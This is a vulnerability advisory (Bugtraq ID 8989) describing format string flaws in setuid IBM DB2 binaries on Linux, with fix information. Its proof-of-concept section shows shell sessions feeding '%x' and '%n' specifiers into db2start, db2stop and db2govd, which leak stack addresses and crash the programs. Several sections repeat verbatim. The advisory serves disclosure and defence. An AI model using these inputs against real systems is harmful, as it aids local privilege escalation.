IBM DB2 Multiple Command-line Format String Vulnerabilities
BID:8989
Info
IBM DB2 Multiple Command-line Format String Vulnerabilities
| Bugtraq ID: | 8989 |
| Class: | Input Validation Error |
| CVE: |
CVE-2003-1051 |
| Remote: | No |
| Local: | Yes |
| Published: | Nov 07 2003 12:00AM |
| Updated: | Jul 12 2009 12:56AM |
| Credit: | This vulnerability was discovered by SNOSoft. |
| Vulnerable: |
IBM DB2 Universal Database for Linux 8.1 IBM DB2 Universal Database for Linux 8.0 IBM DB2 Universal Database for Linux 7.2 IBM DB2 Universal Database for Linux 7.1 IBM DB2 Universal Database for Linux 7.0 |
| Not Vulnerable: | |
Discussion
IBM DB2 Multiple Command-line Format String Vulnerabilities
Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.
Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.
Exploit / POC
IBM DB2 Multiple Command-line Format String Vulnerabilities
The following proof of concept has been supplied:
[kf@RiotStarter adm]$ ./db2start %x
SQL2032N The "bffff270" parameter is not valid.
[kf@RiotStarter adm]$ ./db2start %n%n
Segmentation fault
[kf@RiotStarter adm]$ ./db2stop %x
SQL2032N The "bffff6f0" parameter is not valid.
[kf@RiotStarter adm]$ ./db2stop %n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %x
GOV1023N Unable to open configuration file "bfffed88". RC = "-2045837302".
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop a %x
db2govd: GOV1005N No governor for database "A" on node "bfffe188" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop a %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop %x b
db2govd: GOV1005N No governor for database "BFFFD788" on node "b" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop %n%n%n b
Segmentation fault
The following proof of concept has been supplied:
[kf@RiotStarter adm]$ ./db2start %x
SQL2032N The "bffff270" parameter is not valid.
[kf@RiotStarter adm]$ ./db2start %n%n
Segmentation fault
[kf@RiotStarter adm]$ ./db2stop %x
SQL2032N The "bffff6f0" parameter is not valid.
[kf@RiotStarter adm]$ ./db2stop %n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %x
GOV1023N Unable to open configuration file "bfffed88". RC = "-2045837302".
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop a %x
db2govd: GOV1005N No governor for database "A" on node "bfffe188" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop a %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop %x b
db2govd: GOV1005N No governor for database "BFFFD788" on node "b" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop %n%n%n b
Segmentation fault
Solution / Fix
IBM DB2 Multiple Command-line Format String Vulnerabilities
Solution:
It has been reported that IBM has released Fixpack 4 for v8 of the database. IBM is also said to be currently developing Fixpack 11 for v7, which will be available in mid November 2003. This information has not yet been verified by Symantec. Until this information has been confirmed, users are advised to check the following URL for Fixpack releases.
http://www-3.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/download.d2w/report
Solution:
It has been reported that IBM has released Fixpack 4 for v8 of the database. IBM is also said to be currently developing Fixpack 11 for v7, which will be available in mid November 2003. This information has not yet been verified by Symantec. Until this information has been confirmed, users are advised to check the following URL for Fixpack releases.
http://www-3.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/download.d2w/report
References
IBM DB2 Multiple Command-line Format String Vulnerabilities
References:
References: